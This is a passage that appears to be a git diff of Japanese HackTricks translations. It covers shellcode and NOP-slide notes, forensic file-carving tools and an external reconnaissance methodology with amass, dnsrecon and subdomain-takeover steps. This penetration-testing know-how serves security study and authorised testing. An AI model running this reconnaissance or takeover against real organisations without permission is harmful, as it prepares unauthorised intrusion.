||||||
**NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。
|
**NOPスライド**(`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。
|
||||||
|
|
||||||
## 保護
|
## 保護
|
||||||
|
|
||||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **は無効にするべき**で、そうしないとアドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、win関数がどこにロードされているかを把握するために何らかのリークが必要になります。
|
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **は無効にするべき**で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、どこにwin関数がロードされているかを把握するために何らかのリークが必要になります。
|
||||||
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/)も無効にするべきで、そうしないと侵害されたEIPの戻りアドレスは決して追跡されません。
|
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)も無効にするべきで、侵害されたEIPの戻りアドレスは決して追跡されません。
|
||||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
|
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
|
||||||
|
|
||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
@ -8,7 +8,7 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github
|
|||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。
|
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。
|
||||||
|
|
||||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
@ -29,28 +29,28 @@ sudo apt-get install foremost
|
|||||||
foremost -v -i file.img -o output
|
foremost -v -i file.img -o output
|
||||||
#Discovered files will appear inside the folder "output"
|
#Discovered files will appear inside the folder "output"
|
||||||
```
|
```
|
||||||
### **スカルペル**
|
### **Scalpel**
|
||||||
|
|
||||||
**スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル (_/etc/scalpel/scalpel.conf_) からコメント解除する必要があります。
|
**Scalpel**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメント解除する必要があります。
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install scalpel
|
sudo apt-get install scalpel
|
||||||
scalpel file.img -o output
|
scalpel file.img -o output
|
||||||
```
|
```
|
||||||
### Bulk Extractor
|
### Bulk Extractor
|
||||||
|
|
||||||
このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||||
|
|
||||||
このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは:
|
このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは:
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(マルウェアや存在しないドメインに関連する)を検索します。
|
すべての情報(パスワード?)をツールが収集した中からナビゲートし、パケットを分析します(**Pcaps analysis**を参照)。奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。
|
[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。
|
||||||
|
|
||||||
GUIとCLIのバージョンがあります。PhotoRecが検索するファイルタイプを選択できます。
|
GUIとCLIのバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -60,16 +60,16 @@ GUIとCLIのバージョンがあります。PhotoRecが検索するファイル
|
|||||||
|
|
||||||
#### BinVisの特徴
|
#### BinVisの特徴
|
||||||
|
|
||||||
- 視覚的でアクティブな構造ビューア
|
- 視覚的でアクティブな**構造ビューワー**
|
||||||
- 異なる焦点のための複数のプロット
|
- 異なる焦点のための複数のプロット
|
||||||
- サンプルの一部に焦点を当てる
|
- サンプルの一部に焦点を当てる
|
||||||
- PEまたはELF実行可能ファイルの文字列やリソースを見る
|
- PEまたはELF実行可能ファイルの**文字列とリソース**を見る
|
||||||
- ファイルの暗号解析のためのパターンを取得
|
- ファイルの暗号解析のための**パターン**を取得
|
||||||
- パッカーやエンコーダアルゴリズムを特定
|
- パッカーまたはエンコーダアルゴリズムを**特定**
|
||||||
- パターンによるステガノグラフィの識別
|
- パターンによるステガノグラフィの**識別**
|
||||||
- 視覚的なバイナリ差分
|
- **視覚的**なバイナリ差分
|
||||||
|
|
||||||
BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい出発点です。
|
BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。
|
||||||
|
|
||||||
## 特定のデータカービングツール
|
## 特定のデータカービングツール
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
## Binwalk <a id="binwalk"></a>
|
## Binwalk <a id="binwalk"></a>
|
||||||
|
|
||||||
**Binwalk**は、画像や音声ファイルのようなバイナリファイル内の埋め込まれたファイルやデータを検索するためのツールです。`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubにあります。
|
**Binwalk**は、画像や音声ファイルのようなバイナリファイル内の埋め込まれたファイルやデータを検索するためのツールです。`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。
|
||||||
**便利なコマンド**:
|
**便利なコマンド**:
|
||||||
```bash
|
```bash
|
||||||
sudo apt install binwalk #Insllation
|
sudo apt install binwalk #Insllation
|
||||||
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||||||
```
|
```
|
||||||
## Foremost
|
## Foremost
|
||||||
|
|
||||||
もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。
|
もう一つの一般的なツールは **foremost** です。foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install foremost
|
sudo apt-get install foremost
|
||||||
foremost -v -i file.img -o output
|
foremost -v -i file.img -o output
|
||||||
@ -35,17 +35,17 @@ scalpel file.img -o output
|
|||||||
|
|
||||||
このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
このツールはKaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||||
|
|
||||||
このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URLs、ドメイン、IPs、MACs、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは:
|
このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは:
|
||||||
```text
|
```text
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
すべての情報をナビゲートします(パスワード?)、パケットを分析します(読み取り[ **Pcaps analysis**](../pcap-inspection/))、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
|
すべての情報をナビゲートします(パスワード?)、パケットを分析します(読み取り[ **Pcaps analysis**](../pcap-inspection/index.html))、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
|
||||||
|
|
||||||
## PhotoRec
|
## PhotoRec
|
||||||
|
|
||||||
[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) で見つけることができます。
|
[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) で見つけることができます。
|
||||||
|
|
||||||
GUIとCLIのバージョンが付属しています。PhotoRecに検索させたい**ファイルタイプ**を選択できます。
|
GUIとCLIバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -53,13 +53,13 @@ GUIとCLIのバージョンが付属しています。PhotoRecに検索させた
|
|||||||
|
|
||||||
## FindAES
|
## FindAES
|
||||||
|
|
||||||
キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
|
AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
|
||||||
|
|
||||||
[ここからダウンロード](https://sourceforge.net/projects/findaes/)。
|
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)。
|
||||||
|
|
||||||
# 補完ツール
|
# 補完ツール
|
||||||
|
|
||||||
[**viu** ](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。
|
[**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。
|
||||||
Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
|
Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -8,11 +8,11 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github
|
|||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。
|
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。
|
||||||
|
|
||||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
**Binwalk** は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。
|
**Binwalk**は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
|
||||||
|
|
||||||
**Useful commands**:
|
**Useful commands**:
|
||||||
```bash
|
```bash
|
||||||
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||||||
```
|
```
|
||||||
### Foremost
|
### Foremost
|
||||||
|
|
||||||
もう一つの一般的な隠しファイルを見つけるためのツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。
|
もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install foremost
|
sudo apt-get install foremost
|
||||||
foremost -v -i file.img -o output
|
foremost -v -i file.img -o output
|
||||||
@ -38,13 +38,13 @@ scalpel file.img -o output
|
|||||||
```
|
```
|
||||||
### Bulk Extractor
|
### Bulk Extractor
|
||||||
|
|
||||||
このツールはkaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||||
|
|
||||||
このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは:
|
このツールはイメージをスキャンし、**pcaps**を抽出し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは:
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。
|
すべての情報(パスワード?)をツールが収集した中からナビゲートし、パケットを分析します(**Pcaps analysis**を参照してください)。奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
@ -82,6 +82,6 @@ AESキーのスケジュールを検索することでAESキーを検索しま
|
|||||||
## 補完ツール
|
## 補完ツール
|
||||||
|
|
||||||
ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\
|
ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\
|
||||||
PDFをテキストに変換して読むためにLinuxコマンドラインツール**pdftotext**を使用できます。
|
PDFをテキストに変換して読むために、Linuxコマンドラインツール**pdftotext**を使用できます。
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# 外部リコンメソドロジー
|
# 外部リコンメソッド
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
> ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に何を所有しているのかを把握したいと思っています。
|
> ある会社に属するすべてのものがスコープ内にあると言われており、その会社が実際に何を所有しているのかを把握したいと思っています。
|
||||||
|
|
||||||
このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、以下を行います:
|
このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下のことを行います:
|
||||||
|
|
||||||
1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
|
1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
|
||||||
2. 各会社のASN(あれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。
|
2. 各会社のASN(あれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。
|
||||||
@ -16,19 +16,19 @@
|
|||||||
### **買収**
|
### **買収**
|
||||||
|
|
||||||
まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\
|
まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\
|
||||||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\
|
一つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\
|
||||||
もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
もう一つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
||||||
|
|
||||||
> さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。
|
> さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。
|
||||||
|
|
||||||
### **ASNs**
|
### **ASNs**
|
||||||
|
|
||||||
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\
|
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\
|
||||||
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
|
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成されることがあります。
|
||||||
|
|
||||||
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
|
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
|
||||||
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
|
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
|
||||||
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。**
|
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。
|
||||||
```bash
|
```bash
|
||||||
#You can try "automate" this with amass, but it's not very recommended
|
#You can try "automate" this with amass, but it's not very recommended
|
||||||
amass intel -org tesla
|
amass intel -org tesla
|
||||||
@ -62,33 +62,33 @@ bbot -t tesla.com -f subdomain-enum
|
|||||||
|
|
||||||
## ドメイン
|
## ドメイン
|
||||||
|
|
||||||
> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。
|
> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。
|
||||||
|
|
||||||
_以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
|
_以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
|
||||||
|
|
||||||
まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の主要なドメインは_ tesla.com_になります。
|
まず、各企業の**主要ドメイン**を探すべきです。たとえば、_Tesla Inc._の主要ドメインは_tesla.com_になります。
|
||||||
|
|
||||||
### **逆引きDNS**
|
### **逆引きDNS**
|
||||||
|
|
||||||
ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
ドメインのすべてのIP範囲を見つけたので、**スコープ内のより多くのドメインを見つけるために、これらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||||
```bash
|
```bash
|
||||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
```
|
```
|
||||||
For this to work, the administrator has to enable manually the PTR.\
|
この機能を利用するには、管理者が手動でPTRを有効にする必要があります。\
|
||||||
この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com)
|
この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||||
|
|
||||||
### **Reverse Whois (ループ)**
|
### **逆Whois(ループ)**
|
||||||
|
|
||||||
**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索**を行うと、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\
|
**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索を行う**ことで、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\
|
||||||
オンラインツールを使用できます:
|
次のようなオンラインツールを使用できます:
|
||||||
|
|
||||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
|
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
|
||||||
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
|
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
|
||||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
|
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
|
||||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、APIは無料ではありません。
|
- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**のウェブ、APIは無料ではありません。
|
||||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません
|
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません
|
||||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回の無料**検索のみ)
|
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回の無料**検索のみ)
|
||||||
- [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません
|
- [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません
|
||||||
@ -101,7 +101,7 @@ For this to work, the administrator has to enable manually the PTR.\
|
|||||||
### **トラッカー**
|
### **トラッカー**
|
||||||
|
|
||||||
異なる2つのページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\
|
異なる2つのページで**同じトラッカーの同じID**を見つけた場合、**両方のページ**が**同じチームによって管理されている**と推測できます。\
|
||||||
例えば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見るときです。
|
例えば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合です。
|
||||||
|
|
||||||
これらのトラッカーやその他の情報を検索できるページやツールがあります:
|
これらのトラッカーやその他の情報を検索できるページやツールがあります:
|
||||||
|
|
||||||
@ -150,7 +150,7 @@ cronジョブを持つことは一般的です。
|
|||||||
# /etc/crontab
|
# /etc/crontab
|
||||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||||
```
|
```
|
||||||
サーバー上のすべてのドメイン証明書を更新することです。これは、使用されるCAが有効期限に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\
|
サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期限に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\
|
||||||
この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。
|
この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。
|
||||||
|
|
||||||
### Mail DMARC情報
|
### Mail DMARC情報
|
||||||
@ -159,9 +159,9 @@ cronジョブを持つことは一般的です。
|
|||||||
|
|
||||||
### **パッシブテイクオーバー**
|
### **パッシブテイクオーバー**
|
||||||
|
|
||||||
人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを起動する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。
|
人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウド(Digital Oceanなど)で**VMを生成する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。
|
||||||
|
|
||||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを起動し**、**新しいマシンの**IPv4を**取得し**、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。
|
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、**新しいマシンの** **IPv4**を取得し、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。
|
||||||
|
|
||||||
### **その他の方法**
|
### **その他の方法**
|
||||||
|
|
||||||
@ -181,7 +181,7 @@ IPスペースを所有する組織の名前がわかっているので、その
|
|||||||
|
|
||||||
いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。
|
いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。
|
||||||
|
|
||||||
もし、資産発見で既に見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\
|
もし、資産発見で見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\
|
||||||
&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||||
|
|
||||||
## サブドメイン
|
## サブドメイン
|
||||||
@ -250,7 +250,7 @@ vita -d tesla.com
|
|||||||
```bash
|
```bash
|
||||||
